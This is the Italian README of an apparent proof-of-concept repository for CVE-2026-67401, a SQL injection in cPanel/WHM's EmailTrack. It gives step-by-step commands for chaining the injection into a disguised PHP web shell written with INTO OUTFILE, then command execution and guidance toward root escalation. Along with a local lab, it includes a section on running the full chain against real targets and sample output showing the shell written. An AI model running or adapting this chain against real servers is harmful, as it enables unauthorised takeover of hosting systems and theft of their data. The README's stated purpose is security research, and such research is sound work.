CVE-2026-67401 — SQL Injection in EmailTrack di cPanel/WHM → RCE come root

Proof-of-concept per CVE-2026-67401, una vulnerabilità critica di SQL injection nella funzionalità EmailTrack di cPanel & WHM che consente a un utente autenticato con privilegi relativi alla posta di scrivere file arbitrari ed eseguire codice come root.

Scoperta da: HiTechCloud VietNam by Pho Tue SoftWare Solutions JSC Divulgata: 6 ottobre 2026 Componente: EmailTrack (registrazione / tracciamento della consegna delle email)

---

Versioni interessate

Le versioni precedenti alle build corrette sono vulnerabili.

Serie di build cPanel	Versione corretta
11.110	11.110.0.143
11.134	11.134.0.55
11.136	11.136.0.39
11.138	11.138.0.4
WP2 (11.138)	11.138.1.9

Verifica la tua versione con:

cat /usr/local/cpanel/version

Catena di exploit

┌─────────────┐      ┌────────────┐      ┌─────────┐      ┌──────────┐
│ Auth as     │ ───► │ SQLi in    │ ───► │ INTO    │ ───► │ RCE as   │
│ cPanel user │      │ EmailTrack │      │ OUTFILE │      │ root     │
│ (mail priv) │      │ API call   │      │ (shell) │      │          │
└─────────────┘      └────────────┘      └─────────┘      └──────────┘

1. Autenticarsi a cPanel con un account che dispone di privilegi di posta.
2. Iniettare tramite il parametro account di EmailTrack.
3. Scrivere una web shell PHP con SELECT ... INTO OUTFILE in public_html/.
4. Eseguire comandi tramite la shell.
5. Scalare i privilegi tramite i binari SUID di cPanel, cron o la coda di attività.

---

Contenuto del repository

File	Descrizione
poc_sqli.py	Rilevamento SQL injection: boolean-based, time-based e conteggio colonne UNION
poc_full_chain.py	Catena di exploit completa: SQLi → web shell INTO OUTFILE → RCE → guida per root
lab/vuln_server.py	Simulazione locale del backend EmailTrack vulnerabile (sicura, autonoma)
README.md	Questo documento

Il lab incluso consente di eseguire e validare l'intera catena senza un vero server cPanel.

---

Requisiti

• Python 3.8+
• Nessun pacchetto di terze parti — tutto utilizza la libreria standard.

---

Utilizzo

Tutti i comandi vengono eseguiti dalla radice del repository.

1. Avviare il lab locale

python3 lab/vuln_server.py 18123 lab/htdocs

• Credenziali: alice / s3cr1t
• Emula: login UAPI, la query vulnerabile EmailTrack, SLEEP(), INTO OUTFILE e l'esecuzione di una web-shell PHP.
• Argomento 1: porta (predefinita 18123)
• Argomento 2: document root (predefinita lab/htdocs)

Lascia questo in esecuzione in un terminale e usa un secondo terminale per i PoC.

2. Rilevamento di SQL injection

python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect

Argomento	Descrizione
-H, --host	Host cPanel, ad es. https://cp.example.com:2083
-u, --username	Account cPanel con privilegi di posta
-p, --password	Password dell'account
--param	Parametro iniettabile (predefinito: account)
--mode	detect (predefinito), boolean, timing, union o all
--sleep	Durata di SLEEP() per la sonda timing (predefinito: 3.0)
--dump-version	Tenta di estrarre la versione del DBMS tramite UNION
--insecure	Salta la verifica del certificato TLS

Esegui una sonda specifica:

# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union

# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5

3. Catena di exploit completa

CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
  python3 poc_full_chain.py http://127.0.0.1:18123 \
  --shell-base http://127.0.0.1:18123

Argomento / Env	Descrizione
host (posizionale)	Host cPanel, oppure imposta la env CPANEL_HOST
CPANEL_USER	Account cPanel con privilegi di posta
CPANEL_PASS	Password dell'account
--shell-base	URL di base che serve public_html (dove si raggiunge la web shell)
--insecure	Salta la verifica del certificato TLS
--no-escalate	Fermati dopo l'RCE; salta le indicazioni per l'escalation a root
SHELL_NAME (env)	Nome file della web shell (predefinito: .mail.cache.php)

Fasi eseguite automaticamente:

1. Autenticazione a cPanel
2. Conferma dell'iniezione SQL (booleana + basata sul tempo)
3. Determinazione del numero di colonne della query tramite UNION
4. Scrittura di una web shell PHP con SELECT ... INTO OUTFILE
5. Esecuzione di comandi tramite la shell (id, whoami, enumerazione SUID, …)
6. Stampa delle indicazioni per l'escalation a root (SUID whmapi1, cron, coda dei task)

4. Contro un target reale

# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
  --insecure --mode detect

# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
  python3 poc_full_chain.py https://cp.example.com:2083 \
  --shell-base https://cp.example.com --insecure

Nota: il valore predefinito di --shell-base rimuove la porta riservata a cPanel (2082/2083) dall'host. Se la document root è servita su una porta diversa, impostarla esplicitamente.

---

Risultati verificati

Output prodotto rispetto al lab incluso:

  CVE-2026-67401  cPanel/WHM EmailTrack SQLi -> File Write -> RCE
  version 1.0

  target: http://127.0.0.1:18123
  user:   alice
  [+] authenticated
  [1] confirming SQL injection in EmailTrack `account`
  [+] boolean-based SQLi CONFIRMED
  [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
  [2] determining column count via UNION
  [+] target query has 5 columns
  [3] writing PHP web shell via SELECT ... INTO OUTFILE
  [+] shell written -> /home/alice/public_html/.mail.cache.php
  [4] executing commands through the web shell
  [+] id -> uid=1000(x) gid=1000(x) ...

Riferimenti

• Critical cPanel SQL Injection Lets Attackers Grab Root Access — The Daily Tech Feed
• cPanel Security Advisory: CVE-2026-67401
• CWE-89: Improper Neutralization of Special Elements used in an SQL Command

---

Licenza

Rilasciato per scopi educativi e di ricerca sulla sicurezza autorizzata. Consultare la Dichiarazione di esclusione di responsabilità prima dell'uso.